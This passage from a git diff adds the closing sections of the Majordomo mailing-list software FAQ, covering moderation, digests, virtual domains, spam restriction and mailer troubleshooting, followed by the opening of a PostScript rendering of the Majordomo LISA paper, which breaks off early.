someone who is subscribed to +the list, and sending to the list that way. Of course a spammer can also +subscribe to the list legitimately and then send spam. The restrict_post +option blocks the vast majority of problems, however. + +3.7 - Can I have the list owner or approval person be changeable without +intervention from the Majordomo owner? + +Sure! Just make owner-listname and/or listname-approval be another majordomo +list. (probably hidden, for simplicity's sake) + +3.8 - What are all these different passwords? + +Think of three separate passwords: + + 1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list manager + when using writeconfig commands etc. This allows someone who handles a + number of mailing lists all using the same password. This is also a + "backup password" in case the .config file gets corrupted. + 2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + 3. A password for those concerned with the list content (approve_passwd) + +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new config +file to be put in if the config file was trashed and the admin_password was +obliterated, and may still be useful to allow a single password to be used +for admin functions by the majordomo admin or some other "superadmin". + +Note that the admin passwd in the config file is not a file name, but the +password itself. This is the only way that the list-maintainer could change +the password since they wouldn't have access to the file. + +3.9 - How do I tell majordomo to handle "get"-ing of binary files? + +Majordomo is not designed to be a general-purpose file-by-mail system. If +you want to do anything more than trivial "get"-ing of text files (archives, +etc) than you should get and install ftpmail. Majordomo has hooks to allow +transparent access to files via ftpmail (see majordomo.cf). See the +beginning of this FAQ for where to get ftpmail. + +3.10 - How do I set up a moderated list? How do I approve messages? + +First, you need to tell Majordomo that the list is moderated. In the +configuration file for the list, you set "moderate = yes". Do not try to use +the now-deprecated "-A" option to resend. In fact you shouldn't be using ANY +options to resend except "-h" and "-l", since all the others are handled in +the config file. + +Any mail which is not "approved", gets bounced with "Approval required". If +the moderator wishes to approve the message for the list, then you need to +tag the message as "approved" and send it to the list. The "approve" script, +which comes with Majordomo, automates this for you. Whenever you get a +message which needs approval, from your mail reader pipe the message through +"approve". The password for each list needs to be put in your .majordomo +file. Read the "approve" script for more information. + +If you don't have access to "approve" (e.g. you're not on a UNIX system with +Perl), you have to do it by hand. The easiest way is to forward the original +message to the list, add the line "Approved: approval-password" to the very +first line of the body, and then the entire contents of the original +message. (meaning there should not be a blank line before and after the +"Approved:" line.). Don't forget to edit out the headers which were added by +the bounce process. + +For example: + +To: your-list@example.com +Subject: doesn't matter + +Approved: your-approval-password +Received: by some.site.org.... +Received: by another.site.org.... +From: joe@another.com (Joe User) +Subject: this list is great! +To: your-list@example.com + +Hey, this list is great, and the moderator sure is sexy! + +Joe + +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve their own +message again. Here's an example: + +To: your-list@example.com +Approved: your-approval-password +Subject: Thanks! + +I like this list too, but sorry, I'm married! :-) + +-- your moderator + +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need to +use the first method. + +Note that in either case the "Approved:" line will be stripped out by +Majordomo before it gets sent to the list, so the list members won't see +your list password. + +3.11 - How do I set up a digested version of a list? + +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. +Bresler)] + + * Create aliases for the mailing list and the digest. See section 2.2 of + the README for an example. + * create an alias for the majordom(o) user, so that his cron generated + mail comes to me, rather than just piling up in + /usr/local/mail/majordom. + * create the list's and the digest's files, (widget, widget-digest, + widget.config, widget-digest.config, etc.). Edit the + widget-digest.config file and make sure all the digest options are set + to your tastes. + * create the digest directory and archive directory. See FAQ section 2 on + how to set permissions on all majordomo files and directories. You must + have archives if you have digests so the digester can make the digest. + You can purge the archive after the digest is generated. + * Add yourself to both the mailing list and its digest so you can monitor + what happens...at least for a while (not a bad idea to create a dummy + user, and subscribe him to both the mailing list and its digest. This + preserves a record of messages for debugging. Don't forget to remove + this account and unsubscribe it after debugging.) + * Optionally you may use cron to send a mkdigest to push out a digest at + set intervals regardless of the number of queued messages. See the + question Why aren't my digests going out?". + +3.12 - How do I setup virtual majordomo domains? + +[From Alan Millar, et. al.] +Set up a majordomo.cf file for each virtual domain, defining $whereami as +appropriate. Use your mailer's virtual domain stuff to get to it, making an +alias for it if necessary. + +For sendmail, be sure to check out +http://www.sendmail.org/virtual-hosting.html first. + +Alias entry: + + majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf" + +Virtual domain stuff (in your virtusertable): + + majordomo@domain2 majordomo-domain2 + majordomo-owner@domain2 whoever + +I use the sendmail virtual domain examples right off the Sendmail FAQ. Works +for me. + +You'll need to modify request-answer slightly if you want the virtual host +to be used there in replies. Look for: + +From: $list-request + +in the source and change it to: + +From: $list-request\@$whereami + +Don't forget to use the -C option to request-answer for your virtual +aliases. + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also +for good instructions on configuring virtual domains with Majordomo. + +3.13 - How can I stop people from using my mailing list to spam my +subscribers? + +[From mcr@solidum.com (Michael Richardson) ] +There are two approaches to solving spam. They are complementary. + +The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ for extensive recipes on this. + +The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see section +3.6 for some of the pitfalls of using restrict_post. They all apply. My +experience is that spammers have not yet learnt about the "-outgoing" alias, +and the techniques in section 3.6 would apply when they do. + +The major objection to using restrict_post to deflect spam is that it may +deflect posts from legitimate people -- people who've subscribed with one +address but are posting from another address. It may also restrict +cross-posts from other lists, or from people who read the list via news. + +The solution to the above objections is twofold: + + 1. the moderator must forward legitimate posts. This can be a pain, but it + does work. + 2. the restrict_post header can be extended. + +The typical way to do #2 is to set restrict_post to: + +mylist:mylist-nomail + +Then, create a configuration file and password for "mylist-nomail", but DO +NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner) + +The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list. + + ------------------------------------------------------------------------ + +Section 4: Mailer and list administration problems + +4.1 - Address with blanks are being treated separately + +If a subscriber to the list is +John Doe < jdoe@node.com> + +it gets treated these as the three addresses: +John +Doe +< jdoe@node.com> + +[From Alan Millar] +Majordomo does not treat these as three addresses. Apparently your mailer +does. + +Remember that all Majordomo does is add and remove addresses from a list. +Majordomo does not interpret the contents of the list for message +distribution; the system mailer (such as sendmail) does. + +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the end of +each line was effective to fix the problem, and I got to keep my comments. +So I patched Majordomo to add the comma at the end of each address it writes +to the list file. + +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. + +4.2 - Why aren't my digests going out? + +[from John Rouillard] + + echo mkdigest [digest-name] [digest-password] | mail majordomo@... + +This will force a digest to be created. Or you can set the max size in the +digest list config file down low, and force automatic generation. + +4.3 - Why do I get duplicate mail sent to the list? + +If you're running MMDF, read on: [From Gunther Anderson] +Well, I can tell you what happened to me recently. We use MMDF here, which +certainly colors the picture a little. What was happening here was that MMDF +was verifying the validity of the whole mailing list before returning from +the Submit call. The thing calling the Submit would time out and close, but +the Submit itself would still be running somewhere. The calling routine +would believe that the message had failed in its delivery, but the Submit +would eventually succeed. The calling process would try again some time +later. This, of course, is bad. The larger the list got, the more addresses +there were to verify (verification was really just a DNS search on the +target machine name), the more likely, under load, that the message would +duplicate. We finally got so large, with so many international addresses +(which seem to timeout on DNS queries much more often than US addresses) +that we were always duplicating. Infinitely (until I killed the original +submitter). + +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the addresses +before accepting a job. We used the list-processor channel, and only had to +check that the listname-request name was set properly, because +list-processor insists on making listname-request the envelope "From " +header name. + +If you're running Sendmail, this is more rare. There have been unconfirmed +reports that on some systems having the queue process interval set too short +can cause problems, even though sendmail is supposed to handle this. +Workarounds are to increase your queue process interval (-q flag), or +decrease the interval between queue checkpoints (OC flag in sendmail.cf). + +There have been many reports from Linux users complaining about duplicate +mail. The problem seems to be that flock() under Linux is broken. This may +be fixed in a future release, but for now in sendmail's conf.h in the #ifdef +__linux__ section add a line #define HASFLOCK 0. There are also reports that +some versions of the libc have problems, and that linking with the +libresolv.a from a recent BIND version will work around the problem. +[ Please let me know if you have any more information --ed ] + +4.4 - How do I gate my list to and/or from a newsgroup? + +The easiest method is to use a program called newsgate. You can find it at +ftp://ftp.isc.org/isc/inn/contrib/. Installation instructions are +straightforward, it provides sample entries for your newsfeeds/sys file and +aliases entries. The newsgate package includes news2mail and mail2news. + +4.5 - How can I improve Majordomo's performance? + +Mail to list throughput + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail to +the list. Upgrading your sendmail to version 8.x will improve things +greatly, as this version has a lot of enhancements which use connections +more efficiently. For most lists, this is enough. Majordomo itself doesn't +use very much in the way of resources except perhaps memory. Adding more +memory will help if your machine does a lot of paging during mail delivery. + +Using other mailers instead of sendmail has met with varying success. Exim +can also be used (see http://www.exim.org/). qmail has been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way than sendmail (some would say paranoid). See +http://www.qmail.org. The qmail site includes at least one way to get +majordomo to work with qmail. Note that it is possible to get majordomo +working under qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the Using Majordomo with qmail FAQ, written by +Russ Allbery. + +If you are using Exim instead of sendmail there are more things you can do. +Instead of concealing the -outgoing addresses, it is possible to configure +Exim so that those addresses are only usable by the local majordomo user. A +description of how to do that can be found at +http://www.netmaster.ca/exim/majordomo.html as well as other information +about configuring majordomo with Exim. + +If your lists are very large you may try installing bulk_mailer, by Keith +Moore. It pre-sorts the list into chunks grouped by site, and passes the +resulting chunks off to individual sendmail processes for delivery (see note +next paragraph). Get it from ftp://cs.utk.edu/pub/moore/bulk_mailer/. It +installs simply by replacing your usual -outgoing alias with (line wrapped +for clarity): + +sample-outgoing: |"/path/to/bulk_mailer owner-sample@your.site + /path/to/lists/sample" + +bulk_mailer has reportedly resulted in dramatic speedups in delivery times, +on the order of several times faster. Note this works just as well on +digested lists as well as normal lists. bulk_mailer did have one problem. +Until version 1.3 it didn't understand parenthesized comments in addresses, +resulting in incorrect sorting and reduced performance. Your list must be +configured with strip=yes in the list configuration file if you don't +upgrade to 1.3 or higher. + +TLB is another package which is like bulk_mailer, but has other features. +You can get it from ftp://ftp.hpc.uh.edu/pub/tlb/. The advantage of TLB is +its greater configuration flexibility, and also the fact that it's possible +with TLB to eliminate the -outgoing address, making configuration easier and +lists more secure. + +The restrict_post list option with large lists can cause a significant +slowdown in mail delivery, since resend has to do a sequential search +through the subscription list for each mail sent to the list (to verify that +the sender is subscribed to the list). Think twice about using this option +with very large lists. + +Majordomo command processing + +Most of the improvements in this are experimental and not widely available +or not yet completed but scheduled for future releases. Some areas include: +improvements in shlock.pl to use exponential backoffs to reduce contention +and starvation of locks, using some sort of dbz-style database for +subscription lists to speed up subscribe and unsubscribe commands, and +changes in the configuration file system to allow faster parsing and faster +execution of certain commands such as "lists". If you are interested in +working on improvements in this area, join the majordomo-workers list +mentioned above. If you make any specific patches or additions available, +please let me know so I can add references to it here. + +4.6 - How can I handle X.400 addresses? + +Majordomo by default treats addresses starting with "/" as "hostile", and +won't let people subscribe. This is to prevent someone from subscribing a +majordomo-owned filename to the list, and being able to write by sending +mail to the list. Unfortunately, all X.400 addresses begin with a "/". See +the $no_x400at and $no_true_x400 variables and the associated comments in +the majordomo.cf. There is a reported bug in 1.94 - you may need to change +both tests for these variables in majordomo.pl to put "main'" before them. +Like this: + + if (!$main'no_x400at) { + + if (!$main'no_true_x400) { + +This is fixed in Majordomo 1.94.1 and higher. + +4.7 - Why is the Subject of my messages missing? + +[from Dave Wolfe] +But it's not. Oh, you probably mean "Why is the subject line of messages to +my moderated list blank?" Because you didn't include any headers after the +Approved: header in the body of the messages. Or you deleted them when you +approved the bounced messages. + +When resend finds an Approved: header in the first line of the body, it +throws away all the headers it's collected for the message and looks for +more headers following the Approved: header (which is the format of a +bounced message). So if you put the Approved: header in an original message +(as opposed to a bounced message), you have to also fill in some headers to +be sent out, such as Subject:, To:, and From:. + +See section Question 3.10 on how to approve messages to moderated lists. + +This is also explained in Doc/list-owner-info, which should be sent to all +list owners and moderators. + +4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? How do I +stop this? + +Whenever majordomo encounters mail to the list which it sees a problem with, +it forwards it to person at the approval address to deal with manually. +There are lots of reasons Majordomo does this. Majordomo will tell you why +in the Subject of the message. Here's a list of the most common bounce +reasons: + +An "Admin request" bounce means that the list is configured to filter out +what it thinks are "administrivia" messages, and it thought that message was +one. These are messages such as "subscribe" or "unsubscribe" or "help", +which get sent to the list instead of majordomo. Lists generally have this +turned on by default. If you don't like it, set "administrivia=no" in the +list config file. If that doesn't work, check your aliases to make sure the +"-s" option to resend isn't being used on that list. + +An "Approval required" bounce means that the list is moderated, and the +message needs to be approved. (see section 3.10 of this FAQ) + +A "Message too long" bounce means that the message was longer than the +"maxlength" setting in the list config file. + +If you get any of these bounces messages and you think the mail is OK to +send to the list, you'll need to approve it. See the file +Doc/list-owner-info on the correct procedure(s) for approving mail with +Majordomo. It's also covered in section 3.10 of this FAQ. + +4.9 - My list configuration doesn't seem to be working. + +If you changed your list configuration and the list doesn't seem to be +behaving any differently, make sure that the list is being sent through +"resend". See the installation documentation and section 3.1 of this FAQ on +how to set up the aliases for the list correctly to pipe mail through +"resend". + +Other things to check would be that the arguments to "resend" are only "-h", +and "-l" (and perhaps "-C" if you use virtual domains). resend used to be +configured with other command line flags to do things such as have moderated +lists. However these flags override any config file settings, so remove them +if they are present. All configuration should be done now through the config +file. + +4.10 - How do I set it up so that the originator of a message doesn't get a +copy of his/her own message back? + +You can't. Sorry. The "metoo" setting in sendmail has no effect after a +message is piped through an external program. Unless you're willing to give +up piping messages through "resend", there's no way to stop this. + +4.11 - With Smail or Exim, users subscribing to a list sometimes get mail +sent before they subscribed + +[from Lazlo Nibble and Philip Hazel] +This is due to the way Smail and Exim deliver mail. With sendmail, it +expands its delivery list when the mail first arrives. If the list gets +changed, the message will still get delivered to the original recipient +list, since the original list is never referred to again. As sendmail +delivers mail, it removes addresses from its expanded list as they get +delivered. + +However Smail and Exim don't expand the list when the message is first +queued. Instead as they go through the queue of pending messages to deliver, +and maintain state on what addresses they have successfully delivered mail +to and compare that with the current list contents. As long as the message +is queued waiting for one or more addresses in the list, it will get sent to +any new recipients whenever the queue gets processed next. This is rather +unexpected for those used to sendmail's behavior. + +The advantage of smail and exim's approach is that if an address in your +list is unreachable (or has a bad .forward file), you can change the list +contents (or the .forward file) and the message will be delivered to the new +address when the queue next gets processed. It won't deliver to the old, bad +address. + +There really isn't an easy solution to this, but it's really not a serious +problem. + +4.12 - Majordomo doesn't seem to work with sendmail 8.9 + +The new security features of sendmail don't allow :include: directories to +be group writable. Unfortunately, by default these directories are group +writable with Majordomo. If you have this problem you will see errors from +sendmail like "Cannot open /path/name: Group writable directory" and +"aliasing/forwarding loop broken". + +One solution is to add: + +O DontBlameSendmail=groupwritabledirpathsafe + +in your sendmail.cf and restart sendmail. + +The other method (and generally the recommended one) is to remove the +group-write bit on the lists directory and any list files. Make sure also +any parent directories to not have the group or other write bit set. If +Majordomo is working correctly having group write permission is not +necessary. However, some people find it convenient to have group-write +access so users can be put in the majordomo group and not need root access +all the time to work on majordomo. + +4.13 - I can't get Majordomo to work with RedHat Linux + +If you are trying to use the Majordomo RPM, it is broken. The majordomo.cf +which comes with the RPM has the line + +$whereami = `hostname`; + +This is broken for two reasons. First, the hostname may not necessarily be a +fully-qualified domain name, and thus this won't generate a valid Internet +email address. Secondly, using `hostname` generates a linefeed character at +the end, which totally screws things up, and you end up getting blank lines +in headers (and you'll start to see headers appear in the body of the +message). + +The solution is to edit the line and put in your correct host name or mail +domain. + +A bug report has been filed with RedHat. + +RedHat 5.2 also ships with an interim (buggy) release of Perl, which does +not work with Majordomo. (you will get "Unknown mailer error 9" errors). +Download and install the updated Perl RPM from ftp://updates.redhat.com/. diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps new file mode 100644 index 0000000..ecae347 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.lisa6.ps @@ -0,0 +1,8203 @@ +%! +%%Creator: troff->tpscript +%%CreationDate: Wed Sep 9 11:39:31 1992 +%%EndComments +/inch { 480 mul } bind def +/rotateit { /pgtop 11 inch def /pgwid 8.5 inch def newpath } bind def +/scaleit { 72 480 div dup scale rotateit 1 setlinecap} def +/unscaleit { 480 72 div dup scale} def +/RBKFontDict 9 dict def /NEWDict 10 dict def +RBKFontDict begin +/FontType 3 def +/FontName (RBK specials) cvn def +/FontMatrix [ 0.001 0 0 0.001 0 0] def +/FontBBox [ -50 -250 1000 1000 ] def +/Encoding 256 array def 0 1 255 { Encoding exch /.notdef put } for +Encoding +dup 2 /Csq put +dup 3 /Cci put +dup 4 /Cbx put +dup 5 /CSu put +dup 15 /Cbu put +pop +/CharProcs 24 dict dup begin + /setC { 0 -50 -250 1000 1000 setcachedevice} def +/Cbu { 0 0 moveto +600 setC +300 300 moveto 300 300 250 0 360 arc closepath fill } def +/Csq { 0 0 moveto +600 setC +50 50 moveto +500 0 rlineto 0 500 rlineto -500 0 rlineto closepath fill } def +/Cbx { 0 0 moveto +600 setC +70 setlinewidth +50 50 moveto 500 0 rlineto 0 500 rlineto -500 0 rlineto closepath stroke } def +/Cci { 0 0 moveto 600 setC +70 setlinewidth +550 300 moveto 300 300 250 0 360 arc closepath stroke } def +/CSu { +0 0 moveto +715 setC +700 700 scale +%% Kolstad & Horton/Polk 12/1989; Font: kolstad 6/24/90 +/divsq2 { 1.4142136 div } bind def /mulsq2 { 1.4142136 mul } bind def +/TW 0.62 def %% top width +/MG 0.12 def %% MidGap +/US TW 4 mul MG 6 mul add def %% Uside +/UL US TW sub MG sub def %% U length +/OR MG TW add def %% outradius +/T2 TW divsq2 def +/U2 UL divsq2 def +/M2 MG divsq2 def +/SU { %% sunU + currentpoint + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch M2 add exch M2 sub MG 135 315 arc + U2 dup rlineto + T2 dup neg rlineto + U2 neg dup rlineto + currentpoint exch OR divsq2 sub exch OR divsq2 add OR 315 135 arcn + closepath + moveto +} def +/SU2 { SU currentpoint 0 US neg mulsq2 rmoveto 180 rotate SU -180 rotate + moveto } def + 1 US mulsq2 2 mul div dup scale + US divsq2 US mulsq2 US divsq2 add rmoveto + 4 { M2 2 mul M2 2 mul rmoveto US mulsq2 0 rmoveto 270 rotate SU2 } repeat +%% 0 setlinewidth stroke + fill +} def +end def + +/BuildChar +{ + NEWDict begin + /charcode exch def /fontdict exch def + fontdict /CharProcs get begin + fontdict /Encoding get + charcode get load + gsave 0 setlinecap 0 setgray newpath exec grestore + end end +} def +end +/RBKFont RBKFontDict definefont pop +%%%%%%%%%%%%%%% End special Font +scaleit 0 0 moveto +/pagebot { showpage restore } def +/pagetop { save } def +/lastpage {} def +/pt { 6.666667 mul } bind def +/y { neg 0 exch rmoveto } bind def +/X { U moveto } bind def +/Y { pgtop exch sub currentpoint pop exch dup /U exch def moveto } bind def +/s { show } bind def +/S { dup gsave show grestore + gsave true charpath 0 setgray stroke grestore } bind def +/l { neg rlineto currentpoint stroke dup /U exch def moveto } bind def +/c { +2 div /rad exch def currentpoint /y0 exch def /x0 exch def +newpath x0 rad add y0 rad 0 360 arc stroke +x0 rad add rad add y0 dup /U exch def moveto + } def +/a { +/y2 exch neg def /x2 exch def /y1 exch neg def /x1 exch def +x1 y1 rmoveto currentpoint +currentpoint +x2 x2 mul y2 y2 mul add sqrt +y1 neg x1 neg atan +y2 x2 atan +newpath arc stroke moveto x2 y2 rmoveto currentpoint /U exch def pop +} def +/e { +2 div /yrad exch def 2 div /xrad exch def +currentpoint /y0 exch def /x0 exch def +gsave x0 xrad add y0 translate xrad yrad scale +LS xrad yrad gt {xrad} {yrad} ifelse div setlinewidth +newpath 0 0 1 0 360 arc stroke grestore +x0 xrad add xrad add y0 dup /U exch def moveto +} def +/spln { +rcurveto currentpoint stroke dup /U exch def moveto +} def + +% stolen from greenbook page 115-116 +/F { findfont exch scalefont setfont } bind def +/RE { % re-encode + findfont begin + currentdict dup length dict begin + { 1 index /FID ne {def} {pop pop} ifelse } forall + /FontName exch def dup length 0 ne { % if + /Encoding Encoding 256 array copy def + 0 exch + { % forall + dup type /nametype eq % if? + { Encoding 2 index 2 index put pop 1 add } + { exch pop } + ifelse + } forall + } if + pop currentdict dup + end + end + /FontName get exch definefont pop +} bind def + +% use make.remap to make new stdencodings: +/stdencoding [ 1 /multiply /ntilde /eth /otilde /oacute /idieresis +/Ocircumflex /ograve /onequarter /scaron /uacute /odieresis +/Ucircumflex /ugrave /yacute /Thorn /zcaron /udieresis /threequarters +/threesuperior /ydieresis /aring /Ccedilla /twosuperior /acircumflex +/Atilde /Aacute /Agrave /ecircumflex /Eacute /copyright 127 /Adieresis +/Egrave /icircumflex /Iacute /onehalf /Edieresis /Igrave /Ntilde /Eth +/ocircumflex /Otilde /Oacute /Idieresis /mu /Ograve /Scaron +/ucircumflex /Uacute /Odieresis /Ugrave /Yacute /thorn /degree +/logicalnot /minus /Zcaron /Udieresis /registered /plusminus /ccedilla +/Ydieresis /Aring /atilde /aacute 176 /Acircumflex 181 /divide 190 +/brokenbar 192 /agrave 201 /eacute 204 /Ecircumflex 209 /adieresis +/egrave /onesuperior /trademark /iacute /Icircumflex /edieresis /igrave +] def +/specdwidth 0 def /LS 0 def +/setwidth {/specdwidth 1 def dup /LS exch def setlinewidth} def +/ft { /fonttype exch def /xsiz exch def /ysiz exch def /sl exch def + fonttype [ xsiz pt 0 sl sin sl cos div ysiz pt mul ysiz pt 0 0 ] + makefont setfont + specdwidth 0 eq {xsiz 4 div dup /LS exch def setlinewidth} if + setgray } def +/Z { specdwidth 0 eq {dup 4 div dup /LS exch def setlinewidth} if + pt scalefont setfont } bind def +/M { pgtop exch sub moveto } bind def +/L { pgtop exch sub lineto } bind def +/cbox { gsave 100 div setgray +currentpoint /nowy exch def /nowx exch def +/radius exch def /boxdown exch def /boxover exch def +currentpoint newpath moveto radius 0 rmoveto +nowx boxover add nowy nowx boxover add nowy boxdown sub radius arcto +pop pop pop pop +nowx boxover add nowy boxdown sub nowx nowy boxdown sub radius arcto +pop pop pop pop +nowx nowy boxdown sub nowx nowy radius arcto pop pop pop pop +nowx nowy nowx boxover add nowy radius arcto pop pop pop pop +currentgray 1.0 ne { gsave fill grestore } if 0 setgray stroke +grestore } bind def +/f.Y /RBKFont findfont def + +0 Y +save +%%EndProlog + +0 Y +%%Page: 1 1 +pagetop +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +0.00 0.0 10 10 f.R ft +672 X +521 Y +722 X +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 22 Z(Majordomo:)s +1567 X(How)s +1908 X(I)s +2013 X(Manage)s +2565 X(17)s +2759 X(Mailing)s +3296 X(Lists)s +672 X +667 Y +1006 X(Without)s +1575 X(Answering)s +2298 X(")s +2379 X(-request")s +3020 X(Mail)s +600 X +835 Y +1419 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 12 Z(D)s +1477 X(.)s +1523 X(Brent)s +1727 X(Chapman)s +2064 X(\261)s +2130 X +f.R 12 Z(Great)s +2335 X(Circle)s +2557 X(Associates)s +840 X +1011 Y +1912 X +f.B 12 Z(ABSTRACT)s +840 X +1145 Y +984 X +f.R 10 Z(Majordomo)s +1339 X(is)s +1425 X(a)s +1496 X(perl)s +1642 X(program)s +1909 X(written)s +2141 X(to)s +2235 X(handle)s +2455 X(routine)s +2686 X(administration)s +3115 X(of)s +3212 X(Internet)s +840 X +1218 Y(mailing)s +1086 X(lists)s +1236 X(with)s +1396 X(as)s +1493 X(little)s +1659 X(human)s +1881 X(intervention)s +2245 X(as)s +2342 X(possible)s +2561 X(.)s +2641 X(Modeled)s +2919 X(after)s +3082 X(the)s +3204 X(Listserv)s +840 X +1291 Y(implementation)s +1261 X(s)s +1316 X(common)s +1578 X(on)s +1673 X(BITNET)s +1939 X(\(but)s +2075 X(unfortunately)s +2463 X(rare)s +2596 X(on)s +2691 X(the)s +2803 X(Internet\),)s +3080 X(it)s +3148 X(automates)s +840 X +1364 Y(the)s +948 X(administration)s +1361 X(of)s +1441 X(mailing)s +1671 X(lists)s +1805 X(by)s +1896 X(allowing)s +2155 X(users)s +2317 X(to)s +2394 X(perform)s +2633 X(the)s +2740 X(most)s +2895 X(frequent)s +3142 X(operations)s +840 X +1437 Y(\("subscribe")s +1218 X(and)s +1364 X("unsubscribe"\))s +1808 X(themselves,)s +2173 X(while)s +2372 X(allowing)s +2656 X(the)s +2788 X(list)s +2921 X(owners)s +3164 X(to)s +3267 X(either)s +840 X +1510 Y("approve")s +1135 X(each)s +1285 X(of)s +1367 X(these)s +1532 X(operations)s +1837 X(\(or)s +1941 X(initiate)s +2156 X(them)s +2317 X(on)s +2410 X(behalf)s +2603 X(of)s +2684 X(a)s +2740 X(user\),)s +2916 X(or)s +2997 X(merely)s +3209 X(monitor)s +840 X +1583 Y(them)s +1016 X(as)s +1115 X(they)s +1273 X(are)s +1398 X(automatically)s +1807 X(approved)s +2054 X(.)s +2136 X(It)s +2220 X(also)s +2371 X(automates)s +2686 X(response)s +2962 X(to)s +3057 X(certain)s +3283 X(other)s +840 X +1656 Y(common)s +1109 X(queries)s +1338 X(from)s +1502 X(users,)s +1691 X(such)s +1848 X(as)s +1939 X("what)s +2131 X(lists)s +2275 X(are)s +2392 X(served)s +2601 X(by)s +2702 X(this)s +2834 X(Majordomo)s +3183 X(server?",)s +840 X +1729 Y("what)s +1031 X(is)s +1110 X(the)s +1226 X(topic)s +1394 X(of)s +1483 X(list)s +1600 X('foobar'?",)s +1925 X("who)s +2100 X(is)s +2179 X(already)s +2410 X(on)s +2511 X(list)s +2629 X('foobar'?",)s +2955 X(and)s +3086 X("which)s +3311 X(lists)s +840 X +1802 Y(managed)s +1103 X(by)s +1191 X(this)s +1310 X(Majordomo)s +1646 X(server)s +1831 X(am)s +1935 X(I)s +1979 X(already)s +2198 X(on?")s +2321 X(.)s +840 X +1896 Y +984 X(Majordomo)s +1336 X(allows)s +1549 X(individual)s +1858 X(list)s +1979 X(owners)s +2210 X(to)s +2301 X(manage)s +2548 X(their)s +2710 X(own)s +2863 X(lists)s +3011 X(\(subscribe)s +3324 X(and)s +840 X +1969 Y(unsubscribe)s +1192 X(users,)s +1379 X(and)s +1508 X(change)s +1730 X(the)s +1845 X(general)s +2075 X(information)s +2423 X(message)s +2683 X(for)s +2793 X(their)s +2949 X(list\))s +3087 X(without)s +3324 X(any)s +840 X +2042 Y(action)s +1035 X(by)s +1132 X(the)s +1245 X(overall)s +1462 X(Majordomo)s +1807 X(owner)s +1973 X(.)s +2043 X(It)s +2115 X(serves)s +2313 X(both)s +2462 X("open")s +2676 X(lists)s +2816 X(\(where)s +3032 X(users)s +3200 X(can)s +3324 X(add)s +840 X +2115 Y(themselves)s +1162 X(to)s +1238 X(the)s +1344 X(list,)s +1468 X(and)s +1588 X(the)s +1694 X(list)s +1801 X(owner)s +1991 X(is)s +2060 X(merely)s +2270 X(informed)s +2537 X(of)s +2615 X(this)s +2735 X(action\))s +2944 X(and)s +3063 X("closed")s +3311 X(lists)s +840 X +2188 Y(\(where)s +1048 X(a)s +1101 X(subscription)s +1450 X(request)s +1667 X(from)s +1820 X(a)s +1874 X(user)s +2009 X(generates)s +2286 X(an)s +2373 X(approval)s +2630 X(request)s +2847 X(from)s +3000 X(the)s +3106 X(Majordomo)s +840 X +2261 Y(server)s +1025 X(to)s +1099 X(the)s +1203 X(list)s +1308 X(owner,)s +1513 X(who)s +1649 X(can)s +1764 X(then)s +1901 X(either)s +2076 X(approve)s +2312 X(or)s +2389 X(ignore)s +2581 X(the)s +2685 X(request\))s +2900 X(.)s +840 X +2355 Y +984 X(Finally,)s +1213 X(all)s +1303 X(interactions)s +1639 X(with)s +1781 X(Majordomo)s +2118 X(by)s +2207 X(both)s +2348 X(users)s +2508 X(and)s +2627 X(list)s +2733 X(owners)s +2948 X(take)s +3083 X(place)s +3248 X(totally)s +840 X +2428 Y(by)s +940 X(electronic)s +1239 X(mail,)s +1410 X(so)s +1503 X(users)s +1674 X(and)s +1804 X(list)s +1921 X(owners)s +2147 X(do)s +2247 X(not)s +2366 X(require)s +2589 X(login)s +2760 X(access)s +2965 X(\(nor)s +3108 X(even)s +3267 X(direct)s +840 X +2501 Y(TCP/IP)s +1062 X(connectivity\))s +1437 X(to)s +1511 X(the)s +1615 X(machine)s +1864 X(Majordomo)s +2200 X(is)s +2267 X(running)s +2495 X(on,)s +2600 X(and)s +2718 X(no)s +2807 X(special)s +3017 X(client)s +3190 X(software)s +840 X +2574 Y(is)s +907 X(required)s +1129 X(.)s +600 X +2720 Y +1150 X +f.B 10 Z(Introduction)s +600 X +2829 Y +744 X +f.R 10 Z(Anyone)s +994 X(who)s +1148 X(has)s +1277 X(ever)s +1432 X(managed)s +1714 X(a)s +1785 X(signi\256cant)s +600 X +2902 Y(electronic)s +906 X(mailing)s +1151 X(list)s +1274 X(by)s +1380 X(hand)s +1549 X(\(which)s +1774 X(is,)s +1876 X(on)s +1982 X(the)s +600 X +2975 Y(Internet)s +831 X(at)s +903 